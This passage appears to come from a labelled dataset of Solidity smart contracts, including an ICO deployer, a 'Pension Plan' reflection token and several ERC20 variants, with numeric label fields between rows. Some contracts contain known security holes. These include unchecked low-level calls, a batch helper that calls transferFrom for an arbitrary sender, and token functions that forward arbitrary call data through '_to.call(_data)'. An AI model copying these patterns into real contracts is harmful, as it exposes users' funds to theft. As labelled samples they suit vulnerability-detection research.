}
}
contract ICO is CommonCrowdsale {
function finishMinting() public onlyOwner {
mintExtendedTokens();
token.finishMinting();
}
function createTokens() public payable saleIsOn {
calculateAndTransferTokens();
wallet.transfer(msg.value);
}
}
contract Deployer is Ownable {
Presale public presale;
ICO public ico;
GENSharesToken public token;
function deploy() public onlyOwner {
owner = 0x379264aF7df7CF8141a23bC989aa44266DDD2c62;
token = new GENSharesToken();
presale = new Presale();
presale.setToken(token);
token.setSaleAgent(presale);
presale.setMinInvestedLimit(100000000000000000);
presale.setPrice(250000000000000000000);
presale.setBountyTokensPercent(4);
presale.setAdvisorsTokensPercent(2);
presale.setDevTokensPercent(10);
presale.setSoftcap(45000000000000000000);
presale.setHardcap(50000000000000000000000);
presale.addBonus(7,50);
presale.addBonus(7,40);
presale.addBonus(100,35);
presale.setStart(1511571600);
presale.setEnd(1514156400);
presale.setDevLimit(45000000000000000000);
presale.setWallet(0x4bB656423f5476FeC4AA729aB7B4EE0fc4d0B314);
presale.setBountyTokensWallet(0xcACBE5d8Fb017407907026804Fe8BE64B08511f4);
presale.setDevTokensWallet(0xa20C62282bEC52F9dA240dB8cFFc5B2fc8586652);
presale.setAdvisorsTokensWallet(0xD3D85a495c7E25eAd39793F959d04ACcDf87e01b);
presale.setDevWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ico = new ICO();
ico.setToken(token);
presale.setNextSaleAgent(ico);
ico.setMinInvestedLimit(100000000000000000);
ico.setPrice(250000000000000000000);
ico.setBountyTokensPercent(4);
ico.setAdvisorsTokensPercent(2);
ico.setDevTokensPercent(10);
ico.setHardcap(206000000000000000000000);
ico.addBonus(7,25);
ico.addBonus(14,10);
ico.setStart(1514163600);
ico.setEnd(1517356800);
ico.setWallet(0x65954fb8f45b40c9A60dffF3c8f4F39839Bf3596);
ico.setBountyTokensWallet(0x6b9f45A54cDe417640f7D49D13451D7e2e9b8918);
ico.setDevTokensWallet(0x55A9E5b55F067078E045c72088C3888Bbcd9a64b);
ico.setAdvisorsTokensWallet(0x3e11Ff0BDd160C1D85cdf04e012eA9286ae1A964);
presale.lockChanges();
ico.lockChanges();
presale.transferOwnership(owner);
ico.transferOwnership(owner);
token.transferOwnership(owner);
}
} | 1 | 3,331 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,073 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x52c5317c848ba20c7504cb2c8052abd1fde29d03);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 658 |
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b + (a % b == 0 ? 0 : 1);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library Counters {
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PensionPlan is Context, IERC20, IERC20Metadata, Ownable {
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant _totalSupply = 1000000000000 * 10**8;
string private constant _name = "Pension Plan";
string private constant _symbol = "PP";
address payable public marketingAddress = payable(0x83B6d6dec5b35259f6bAA3371006b9AC397A4Ff7);
address payable public developmentAddress = payable(0x2F01336282CEbF5D981e923edE9E6FaC333dA2C6);
address payable public foundationAddress = payable(0x72d752776B093575a40B1AC04c57811086cb4B55);
address payable public hachikoInuBuybackAddress = payable(0xd6C8385ec4F08dF85B39c301C993A692790288c7);
address payable public constant deadAddress = payable(0x000000000000000000000000000000000000dEaD);
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBanned;
address[] private _banned;
uint256 public constant totalFee = 12;
uint256 public minimumTokensBeforeSwap = 200000000 * 10**8;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
uint256 public minimumETHBeforePayout = 1 * 10**18;
uint256 public payoutsToProcess = 5;
uint256 private _lastProcessedAddressIndex;
uint256 public _payoutAmount;
bool public processingPayouts;
uint256 public _snapshotId;
struct Set {
address[] values;
mapping (address => bool) is_in;
}
Set private _allAddresses;
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event PayoutStarted(
uint256 amount
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
excludeFromReward(owner());
excludeFromReward(_uniswapV2Pair);
excludeFromReward(marketingAddress);
excludeFromReward(developmentAddress);
excludeFromReward(foundationAddress);
excludeFromReward(hachikoInuBuybackAddress);
excludeFromReward(deadAddress);
_beforeTokenTransfer(address(0), owner());
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public pure override returns (string memory) {
return _name;
}
function symbol() public pure override returns (string memory) {
return _symbol;
}
function decimals() public pure override returns (uint8) {
return 8;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function eligibleSupply() public view returns (uint256) {
uint256 supply = _totalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
unchecked {
supply = supply - _balances[_excluded[i]];
}
}
return supply;
}
function eligibleSupplyAt(uint256 snapshotId) public view returns (uint256) {
uint256 supply = _totalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
unchecked {
supply = supply - balanceOfAt(_excluded[i], snapshotId);
}
}
return supply;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBanned(address account) public view returns (bool) {
return _isBanned[account];
}
function ban(address account) external onlyOwner() {
require(!_isBanned[account], "Account is already banned");
_isBanned[account] = true;
_banned.push(account);
if (!_isExcluded[account]) {
excludeFromReward(account);
}
}
function unban(address account) external onlyOwner() {
require(_isBanned[account], "Account is already unbanned");
for (uint256 i = 0; i < _banned.length; i++) {
if (_banned[i] == account) {
_banned[i] = _banned[_banned.length - 1];
_isBanned[account] = false;
_banned.pop();
break;
}
}
if (_isExcluded[account]) {
includeInReward(account);
}
}
function _processPayouts() private {
if (_lastProcessedAddressIndex == 0) {
_lastProcessedAddressIndex = _allAddresses.values.length;
}
uint256 i = _lastProcessedAddressIndex;
uint256 loopLimit = 0;
if (_lastProcessedAddressIndex > payoutsToProcess) {
loopLimit = _lastProcessedAddressIndex-payoutsToProcess;
}
uint256 _availableSupply = eligibleSupplyAt(_snapshotId);
for (; i > loopLimit; i--) {
address to = _allAddresses.values[i-1];
if (_isExcluded[to] || to.isContract()) {
continue;
}
uint256 payout = balanceOfAt(to, _snapshotId) / (_availableSupply / _payoutAmount);
payable(to).send(payout);
}
_lastProcessedAddressIndex = i;
if (_lastProcessedAddressIndex == 0) {
processingPayouts = false;
}
}
function _handleSwapAndPayout(address to) private {
if (!inSwapAndLiquify && to == uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance) {
swapTokensForEth(contractTokenBalance);
}
uint256 balance = address(this).balance;
if (!processingPayouts && balance > minimumETHBeforePayout) {
marketingAddress.transfer(balance / 6);
developmentAddress.transfer(balance / 12);
foundationAddress.transfer(balance / 12);
hachikoInuBuybackAddress.transfer( balance / 24);
swapETHForTokensAndBurn(balance / 24);
processingPayouts = true;
_payoutAmount = address(this).balance;
_snapshotId = _snapshot();
emit PayoutStarted(_payoutAmount);
}
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!_isBanned[sender], "ERC: transfer from banned address");
require(!_isBanned[recipient], "ERC: transfer to banned address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_beforeTokenTransfer(sender, recipient);
if (!inSwapAndLiquify && processingPayouts) {
_processPayouts();
}
_handleSwapAndPayout(recipient);
bool takeFee = (recipient == uniswapV2Pair || sender == uniswapV2Pair);
if(recipient == deadAddress || sender == owner()){
takeFee = false;
}
unchecked {
_balances[sender] = senderBalance - amount;
}
uint256 originalAmount = amount;
if (takeFee) {
uint256 fee = (amount * totalFee) / 100;
_balances[address(this)] += fee;
amount -= fee;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, originalAmount);
}
function _beforeTokenTransfer(
address sender,
address recipient
) internal {
if (sender == address(0)) {
_updateAccountSnapshot(recipient);
_updateTotalSupplySnapshot();
} else if (recipient == address(0)) {
_updateAccountSnapshot(sender);
_updateTotalSupplySnapshot();
} else {
_updateAccountSnapshot(sender);
_updateAccountSnapshot(recipient);
}
if (!_allAddresses.is_in[recipient]) {
_allAddresses.values.push(recipient);
_allAddresses.is_in[recipient] = true;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function swapETHForTokensAndBurn(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0,
path,
deadAddress,
block.timestamp + 300
);
emit SwapETHForTokens(amount, path);
}
function setMinimumTokensBeforeSwap(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function setDevelopmentAddress(address _developmentAddress) external onlyOwner() {
developmentAddress = payable(_developmentAddress);
}
function setFoundationAddress(address _foundationAddress) external onlyOwner() {
foundationAddress = payable(_foundationAddress);
}
function setHachikoInuBuybackAddress(address _hachikoInuBuybackAddress) external onlyOwner() {
hachikoInuBuybackAddress = payable(_hachikoInuBuybackAddress);
}
function setMinimumETHBeforePayout(uint256 _minimumETHBeforePayout) external onlyOwner() {
minimumETHBeforePayout = _minimumETHBeforePayout;
}
function setPayoutsToProcess(uint256 _payoutsToProcess) external onlyOwner() {
payoutsToProcess = _payoutsToProcess;
}
function manuallyProcessPayouts() external onlyOwner() returns(bool, uint256) {
if (processingPayouts) {
_processPayouts();
}
else {
uint256 balance = address(this).balance;
marketingAddress.transfer(balance / 6);
developmentAddress.transfer(balance / 12);
foundationAddress.transfer(balance / 12);
hachikoInuBuybackAddress.transfer( balance / 24);
swapETHForTokensAndBurn(balance / 24);
processingPayouts = true;
_payoutAmount = address(this).balance;
_snapshotId = _snapshot();
emit PayoutStarted(_payoutAmount);
}
return (processingPayouts, _lastProcessedAddressIndex);
}
using Arrays for uint256[];
using Counters for Counters.Counter;
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping(address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
Counters.Counter private _currentSnapshotId;
event Snapshot(uint256 id);
function _snapshot() internal returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _getCurrentSnapshotId();
emit Snapshot(currentId);
return currentId;
}
function _getCurrentSnapshotId() internal view returns (uint256) {
return _currentSnapshotId.current();
}
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {
require(snapshotId > 0, "ERC20Snapshot: id is 0");
require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _getCurrentSnapshotId();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
receive() external payable {}
} | 0 | 1,896 |
pragma solidity ^0.4.20;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract TokenERC20 {
address public owner;
string public name;
string public symbol;
uint8 public decimals = 8;
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
owner = msg.sender;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply =totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] =balanceOf[_from].sub(_value);
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value);
totalSupply =totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transferOwnership(address _owner) onlyOwner public {
owner = _owner;
}
function mintToken(address target, uint256 mintedAmount) public onlyOwner {
balanceOf[target] =balanceOf[target].add(mintedAmount);
totalSupply =totalSupply.add(mintedAmount);
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 1 | 4,093 |
pragma solidity >=0.4.24;
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
pragma solidity >=0.4.24;
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
pragma solidity >=0.4.24;
interface ISeigniorageShares {
function setDividendPoints(address account, uint256 totalDividends) external returns (bool);
function mintShares(address account, uint256 amount) external returns (bool);
function lastDividendPoints(address who) external view returns (uint256);
function externalRawBalanceOf(address who) external view returns (uint256);
function externalTotalSupply() external view returns (uint256);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
